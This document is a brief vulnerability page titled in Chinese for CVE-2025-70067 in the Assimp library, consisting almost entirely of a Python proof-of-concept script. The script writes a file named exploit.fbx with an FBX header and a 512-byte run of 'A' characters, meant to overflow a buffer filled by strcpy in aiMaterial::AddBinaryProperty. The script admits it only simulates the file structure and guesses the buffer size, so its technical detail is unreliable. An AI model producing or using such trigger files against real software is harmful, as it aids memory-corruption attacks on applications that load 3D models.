CVE-2025-70067 Assimp缓冲区溢出漏洞

import struct # Conceptual PoC for CVE-2025-70067 # This script generates a malformed FBX file to trigger the buffer overflow. def create_malformed_fbx(filename): with open(filename, 'wb') as f: # Write minimal FBX binary header f.write(b'Kaydara FBX Binary\x20\x00\x00\x00\x1a\x00') # Construct an overly long property key string # The target buffer size in aiMaterial::AddBinaryProperty is small (e.g., 256 bytes). # Exceeding this causes the overflow. payload_len = 512 malicious_key = b'A' * payload_len # In a real FBX file, this would be part of a Material property node. # We simulate writing the data that leads to the strcpy. f.write(struct.pack('I', len(malicious_key))) f.write(malicious_key) f.write(b'\x00') # Null terminator required by strcpy if __name__ == "__main__": create_malformed_fbx("exploit.fbx") print("[+] Malformed FBX file generated: exploit.fbx")